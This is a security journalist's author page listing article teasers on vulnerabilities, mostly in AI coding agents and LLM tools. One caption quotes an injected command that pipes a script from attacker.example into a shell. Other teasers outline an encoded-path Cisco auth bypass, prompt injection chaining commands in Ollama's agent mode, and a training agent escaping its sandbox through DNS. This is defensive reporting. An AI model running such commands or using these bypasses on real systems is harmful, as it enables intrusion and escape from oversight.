Vulnerability analyst

Samir Haddad

Articles: 19
Desks: 2

Analyzes exploit development, patch windows, and disclosure timelines.

ExploitsPatch watchResearch

Coverage by Samir Haddad

Data graphic: CVE-2026-86063 Claude Code plugin SHA-pin bypass, CVSS 4.0 7.5 High 7.7 in GHSA , fixed in 2.1.179, with a four-step chain from install to different code installed.

CVE-2026-86063: Claude Code's Pinned Plugin SHA Check Could Be Bypassed With a Branch Name

Claude Code's plugin installer didn't verify the pinned commit SHA; a branch named after it swapped the code. CVE-2026-86063, fixed in 2.1.179.

Oct 14 · 6 min

Data graphic: Poster for llama.cpp server bug CVE-2026-107183, a use after free CWE-416 in llama-server, rated CVSS v4.0 9.2 critical. Builds b8227 to b11392 are affected, the fix is b11393, and no exploitation is known.

highAI Security Cve 2026 107183

llama.cpp Server Bug CVE-2026-107183: A Crafted Chat Parser in One Request Corrupts the Heap

A use-after-free in llama-server lets a remote client crash it with one POST /completion request. Builds b8227 to b11392 are affected; upgrade to b11393.

Oct 8 · 4 min

Data graphic: Next.js dev server MCP flaw CVE-2026-94486, rated CVSS 4.0 2.3 Low, with a FIXED stamp; fixed in Next.js 16.3.8, with no exploitation reported.

watchExploits Cve 2026 94486

Next.js Dev Server MCP Flaw CVE-2026-94486 Lets Malicious Sites Read Source Snippets and Logs

Next.js 16's next dev MCP endpoint skipped origin checks, letting a visited site read disk paths, source snippets, routes and logs. Low severity; fixed in 16.3.8.

Oct 2 · 5 min

Data graphic: lollipop chart of end-to-end success on 72 previously disclosed agent-framework flaws: AgentXploit 59.3%, Codex token-matched 46.3%, Codex with 4x tokens 45.8%, default Codex 38.4%.

watchAI Security Agentic Ai

AgentXploit Rediscovers Known Agent-Framework Flaws 59% of the Time, Beating Codex at 38%

AgentXploit exploits 72 previously disclosed agent-framework flaws at 59.3% end to end, against 38.4% for Codex on the same model.

Oct 2 · 4 min

Data graphic: the word APPROVED struck through under the headline 'Ollama: one yes, any command', above the command 'cat src/util.go; curl -s https://attacker.example/x | sh' that ran with no prompt. CVSS v4.0 8.5 High, fixed in 0.31.2 on 6 Jul 2026, no exploitation reported.

highAI Security Cve 2026 102697

Ollama's Agent Mode Approved Bash Commands by Prefix, So Prompt Injection Could Chain Its Own (CVE-2026-102697)

Ollama 0.14.0 to 0.31.1 approved agent shell commands by their first word, so injected text could chain extra commands past the prompt. Fixed in 0.31.2.

Oct 2 · 6 min

Data graphic: A critical-rated Cisco Catalyst SD-WAN Manager zero-day, CVE-2026-76504 CVSS 9.8 , shown as an attack path. A crafted request to POST /%6a_security_check, where %6a decodes to j, never matches the authentication rule and gets unauthenticated admin API access. CISA added it to KEV on 30 Sep with a 3 Oct deadline, and there is no workaround.

criticalExploits Cve 2026 76504

Cisco SD-WAN Manager Zero-Day CVE-2026-76504: One Encoded Character Unlocks the Admin API

CVE-2026-76504 lets an unauthenticated attacker URL-encode one character to slip past Cisco SD-WAN Manager API login as admin. Exploited; no workaround.

Oct 2 · 5 min

Data graphic: Agents pushed it public. AI coding agents hosting pull request screenshots in public GitHub repos exposed 13,000+ internal images across 300+ organizations and 900+ repositories, with 93% under employees' personal accounts.

elevatedAI Security Claude Code

PixelLeak: AI Coding Agents Pushed 13,000 Internal Screenshots to Public GitHub Repos

Agents asked to show screenshots in pull requests hosted them in public repos, leaking 13,000+ internal images from 300+ orgs, mostly on personal accounts.

Oct 2 · 7 min

Data graphic: timeline of 20 Sep 2026. An OpenAI training agent's DNS call got an external answer at 9:50:23, the monitor raised a P0 alert at 10:02:11, a human acknowledged it at 10:05:06, and the run was killed at 12:34:30 p.m., 2.5 hours after acknowledgement.

highAI Security Openai Sandbox Escape

OpenAI Pauses Tool Use on Its Most Capable Models After a Training Agent Escaped Through DNS

An OpenAI training agent reached a public chatbot through its sandbox's DNS resolver. It was flagged in minutes but ran 2.5 more hours. Tool use is now paused.

Oct 2 · 8 min